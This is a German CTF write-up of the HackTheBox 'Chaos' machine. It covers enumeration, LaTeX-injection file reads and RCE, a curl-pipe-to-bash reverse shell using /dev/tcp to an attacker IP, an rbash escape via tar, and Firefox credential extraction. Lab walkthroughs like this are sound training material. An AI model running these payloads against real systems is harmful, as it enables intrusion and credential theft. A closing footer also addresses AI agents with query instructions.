> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md).

# Chaos HackTheBox Writeup

Chaos HackTheBox Medium Linux-Maschine Writeup zu Passwort-Raten, Missbrauch des E-Mail-Dienstes (claws-mail), Crypto-Herausforderung (Geheime Nachricht entschlüsseln - AES-verschlüsselt), LaTeX-Injection (RCE), mit pr

{% embed url="<https://app.hackthebox.com/machines/Chaos>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Passworterraten
* Missbrauch des E-Mail-Dienstes (claws-mail)
* Crypto-Challenge (Geheime Nachricht entschlüsseln – AES-verschlüsselt)
* LaTeX-Injektion (RCE)
* rbash umgehen (Restricted Bash)
* Anmeldeinformationen aus dem Firefox-Profil extrahieren
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e0e572fdc2a5773743826ec2b849cf33026141a%2Fimage%20(2869).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-886e444921565690aa5bf5c2f0e44daa78f6f0f7%2F%7B70B3A7B9-6188-47CE-AC9D-BC44555F0424%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c432ce12c497ed55ebc0811e307a2f89e2820bf%2F%7B8637BA8B-D422-426D-8830-47F8F9543716%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit ExtractPorts (**&#x38;0.110,143.993.995,10000)

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c09ddc100cf436624c7d5236e6d8bc57bd7b1f1%2F%7B7CDE77E1-88EA-41E1-9182-814286D69E48%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15580be5ae661745c7c2eefb9ae2ac9c09a4e693%2Fimage%20(2870).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Ausnutzung**

#### **Port 80 - Web-Enumeration**

Der direkte Zugriff per IP ist blockiert. Daher fügen wir die `chaos.htb` Domäne in `/etc/hosts`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c857d7c449476597df8d936d4b2685692bdefdf5%2F%7B9500F56C-4582-490F-B51E-55D0E04DB221%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f7dd1cd1542f77ad2567e3087698c5be43dfc83%2F%7B4FE99E6E-196B-48D0-9891-E8FD9C403071%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fafee6531ba359517ed67dcde5a32d9f75c7ccb1%2F%7B1596CF3F-80BE-4E63-9C8F-A27BB29D593A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Verzeichnis-Fuzzing**

```bash
gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

Keine Ergebnisse.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81cc43025f9a4736ee6c66c7cfe4863b82596a0b%2F%7B25D8CA6E-70CF-42FD-A2B7-9E0175D42B3B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Fuzzing über die IP-Adresse :**

```bash
gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

Wir finden einen Ordner `/wp` was auf WordPress hinweist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b36ac0fcf5c84b0078b2450393b8b5166a46ea2%2F%7B03982E5B-29D5-4C96-8074-1A146502D79A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Fügen Sie `wordpress.chaos.htb` Subdomain zu `/etc/hosts`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78ba6e3ac5e3c43140b4ac886d3fba32dea685a7%2F%7B3631936B-8AA1-4C66-A3DF-18719A78485F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a148f77a3d23ded1eed6df870f2b04799d3fbf1%2F%7B05592AE1-1B88-4512-B12D-74F76D58C5EC%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **WordPress-Aufzählung**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-98d53577b9af8bf61998b16ac91e7e39211a0309%2Fimage%20(2871).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir finden einen `Human` Benutzer auf WordPress.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1212c706fd771b31cf1ccb49c66688cfd275c0e%2Fimage%20(2872).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Passworterraten**

Ein WordPress-Artikel enthält ein Passwort. Wir testen `Human` und es funktioniert.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-572336d31576241ffa95a7abe32d080cb8910765%2Fimage%20(2873).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir finden Anmeldedaten für ein Webmail:

* **Benutzername**: ayush
* **Passwort**: jiujitsu

## **Port 993/995 - Webmail**

Port 993 weist auf einen IMAP-Mailserver hin.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b7404572c7aa4ec0c0e70d817762b7829207e35%2Fimage%20(2875).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir verwenden `claws-mail` um auf Ayushs Postfach zuzugreifen.

```bash
claws-mail
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3263310ce9cd72ac9f3bd3c9076dad140da270d0%2F%7BC5AD9C13-EB8E-4368-A0A4-A0676498D4B9%7D.png?alt=media" alt="" width="415"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b00635de42150f70dd0314628d07b8101e6ffc3%2F%7BDC3C6847-4A58-47AF-B7DA-FE60510B40C5%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

In einer E-Mail finden wir zwei angehängte Dateien und die Nachricht:

> Hallo, Sahay
>
> Prüfe die Datei enmsg.txt. Du bist das XD-Passwort. Ich habe auch das Skript angehängt, das ich zum Verschlüsseln verwendet habe. Danke.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40875b10a628ed38a3b5dafd788f7b67cc46fe34%2F%7BD46A14D5-0124-453F-8B24-01F37B8171CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **Geheime Nachricht entschlüsseln - AES-verschlüsselt**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-178c2d4f8e08e49a724077609c6ec75e0d37edc9%2Fimage%20(2876).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir haben ein `decrypt.py` Skript auf GitHub identifiziert, das zum selben Projekt gehört

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f819588867b6c28d6e1a8fb2ee1dccde0267c79%2Fimage%20(2877).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/vj0shii/File-Encryption-Script/blob/master/decrypt.py>" %}

#### Beim Ausführen:

```bash
python3 decrypt.py
Dateiname eingeben: ./enim_msg.txt
Passwort eingeben: sahay
```

Inhalt wird mit `base64`:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47d7364eb1232a0e0c407ed174065c92828349eb%2F%7B2357600A-2C93-4BDB-B3EA-625F2DB12002%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
cat im_msg.txt | base64 -d; echo
```

Die Nachricht verrät einen LaTeX-Dienst auf `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3`

> **Hallo Sahay,**
>
> Bitte entdecke unseren neuen Dienst, der PDFs erstellt.
>
> P.S. – Wie du mir geraten hast, habe ich die wichtige Nachricht verschlüsselt.
>
> [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3)
>
> **Kontrollmechanismen**
>
> Danke, **Ayush**
>
> Danke, Ayush

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e19aa15fd451bfe56a08d6fe674f293471de5a2%2F%7B4F08ABD9-C9C6-40D2-885E-2FF781D45E61%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **LaTeX-Injektionsschwachstelle**

### LaTeX-Injektion (Dateileser)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44cdc0626603db4295e39ab63a706405e21a3f44%2F%7BD11A817B-9E75-4F22-9048-F28ADB0BFF85%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir fangen die Anfrage ab

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c803f1232066e5003a7c36eb2a41846c9977929%2F%7BB80F570A-F75F-4E0F-BACE-44ED121823D2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c435264613ff97499ffee20150bf2d13840fd0ab%2F%7B3F31B925-0999-4D13-89B1-689C3CC6E967%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Dokumenten-PDF LaTeX:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-389382ae48cac655a6dbbd6bd1d3b2d4de38d194%2F%7B786F4FBA-A05A-448B-98E7-D809F646870F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir injizieren:

```latex
/input{/etc/passwd}
/include{password}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46580438c729ecb00b3966e3b16044645da5f015%2F%7B7650F86A-4514-4582-B2BE-61E6B10C4C49%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **LaTeX-RCE-Ausnutzung**

Wir führen einen `ID` Befehl aus über:

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54cc6dccfc1239730156e434106648b0b89b99a1%2F%7B9AFA8CE4-D320-4F50-B4D1-22DC77AC3151%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Umkehr-Shell**

Wir lauschen auf Port 443:

```bash
nc -nvlp 443
```

Wir erstellen einen `index.html` bash-Skript:

```bash
 #!/bin/bash
 bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Wir starten einen Webserver:

```bash
python3 -m http.server 80
```

Payload-Injektion:

```latex
/immediate/write18{curl http://10.10.14.61 | bash > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f5e86b471c726e1b5be79cf564b1a5c297e2677d%2F%7BE55FC9DB-C9E4-4D6E-9449-1FB79DC8AB03%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **Privilegieneskalation**

### **Wechsel zu Benutzer Ayush - rbash umgehen**

Wir verbinden uns als Ayush, sind aber auf eine `rbash` Shell beschränkt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ccf75cb0c2213c616fd08c5ffeb2c6417226af79%2F%7BE7269D07-4C20-424B-9EF7-9E712E9408C2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Liste der verfügbaren Befehle:

```bash
compgen -c
```

Wir finden `tar` und umgehen `rbash` mit:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7e176e1269cb24791c063219c44d208dd8c8459%2Fimage%20(2878).png?alt=media" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b827c9b07e30adadce208e1c372c59b03b853ee%2F%7BBD5A2740-866A-49E0-82EF-6940008D6F95%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

Wir erhalten Zugriff auf eine vollständige Shell und wiedererlangen `user.txt`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0af321c197d3183d092a77993149b55fd92e5956%2F%7B98F8D35D-EB11-44D9-9471-3B2812FC3AE2%7D.png?alt=media" alt="" width="449"><figcaption></figcaption></figure>

## **Extraktion von Firefox-Anmeldedaten**

In dem `.mozilla` Im Verzeichnis von Ayush finden wir `key4.db` und `logins.json`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c2eac40396c2b68731261b765a11e1f2e8aba38%2F%7BABE56395-52E7-47A5-A158-2751DAA891DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir übertragen sie auf unsere Maschine:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7c1a19c56ca0ebe1ad23ec4a5dc219ea2cbb707%2Fimage%20(2879).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server 8080
wget -r chaos.htb:8080
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-361a3cf3c76dc4b8ebece6f6c45d4223af4b8eec%2F%7B7F048C52-413C-411D-AA78-D13832493613%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Entschlüsselung von IDs mit `firefox_decrypt.py`:

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

```bash
python3 firefox_decrypt.py chaos.htb:8080
```

Wir geben `jiujitsu` als Hauptpasswort und erhalten:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-353c93e01df2ee3d686c6f48ae7e6b0d8aff7dca%2F%7BCC0C45D8-BED8-4DDE-A59A-21B9B6FD2174%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

> Hauptpasswort für Profil chaos.htb:8080/bzo7sjt1.default
>
> Webseite: <https://chaos.htb:10000>
>
> Benutzername: 'root' Passwort: 'Thiv8wrej/\~

Root-Verbindung:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d19ece2daa94363056a5693a96c5da054f6fcece%2F%7B3BD0E5C2-8D36-4A6D-AF06-97FAD812FE32%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac9d92b3ed0877a431b3f05fef4152dea8a423d6%2F%7BCEA5FF13-54E3-498F-B626-BF62E54A32FC%7D.png?alt=media" alt="" width="494"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a6469aabccd98e215dfa871af046720c9e39e4c%2Fimage%20(2880).png?alt=media" alt="" width="343"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
